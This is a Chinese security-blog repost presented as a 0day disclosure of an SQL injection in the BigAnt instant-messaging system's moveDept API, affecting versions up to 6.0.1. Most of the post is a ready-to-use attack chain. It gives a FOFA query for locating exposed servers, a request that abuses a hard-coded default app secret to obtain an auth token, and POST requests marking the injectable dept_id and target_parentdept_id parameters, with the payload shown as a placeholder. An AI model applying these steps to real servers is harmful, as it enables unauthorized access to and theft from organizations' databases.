文章总结： 大蚂蚁即时通讯系统moveDept接口存在SQL注入漏洞，影响版本包括最新6.0.1。攻击者利用默认密钥获取认证后，可构造恶意参数执行报错注入获取数据库权限。文中提供了FOFA语法及完整POC复现步骤，建议用户立即排查接口参数过滤逻辑并进行修复。
综合评分： 85
文章分类： 漏洞分析,漏洞POC,渗透测试
【0day】大蚂蚁 (BigAnt) 即时通讯系统 moveDept SQL注入漏洞
0day收割机
2026年2月27日 17:56
山东
漏洞简介
杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统，提供多种功能支持。该系统的 \Api\Controller\DeptController::moveDept 接口存在SQL注入漏洞，攻击者可通过在 moveDept 功能的相关参数中插入恶意构造的 SQL 查询语句，实现对后端数据库的非法操作，可能导致敏感信息泄露、数据篡改、绕过身份验证，甚至在特定配置下实现任意命令执行或获取系统控制权限。
影响版本
BigAnt 5.5.x 及以上版本用户
经过测试，最新版本 6.0.1.20250407.1 也受影响
fofa语法
(body=”/Public/static/admin/admin_common.js” && body=”/Public/lang/zh-cn.js.js”) || title=”即时通讯 系统登录” && body=”/Public/static/ukey/Syunew3.js”
漏洞复现
获取认证码
POST /api/oauth/create_authen HTTP/1.1
Host: bigant.local:8000
Content-Type: application/x-www-form-urlencoded
uid=1&app_id=system&app_secret=www.upsoft01.com&ssid=CC1743B5-E5D5-42CE-B5F6-42E24464C8D0
使用获取到的authen：
cc7e6a614831d1c6b351a5f12678ed4b94cf98b2a52b1050d6c19433fdeff37d
SQL注入
两个参数均存在SQL注入
多种thinkphp传参、路由模式需要注意
POST /api/dept/moveDept HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
authen=cc7e6a614831d1c6b351a5f12678ed4b94cf98b2a52b1050d6c19433fdeff37d&uid=1&dept_id=SQLI_POC
POST /index.php?s=/api/dept/moveDept HTTP/1.1
Host: bigant.mrxn.net
Content-Type: application/x-www-form-urlencoded
authen=cc7e6a614831d1c6b351a5f12678ed4b94cf98b2a52b1050d6c19433fdeff37d&uid=1&dept_id=100&target_parentdept_id=SQLI_POC
成功利用报错注入获取到系统数据库用户信息。
仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害，均由使用者自行承担，文章作者不为此承担任何责任。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：0day收割机 《【0day】大蚂蚁 (BigAnt) 即时通讯系统 moveDept SQL注入漏洞》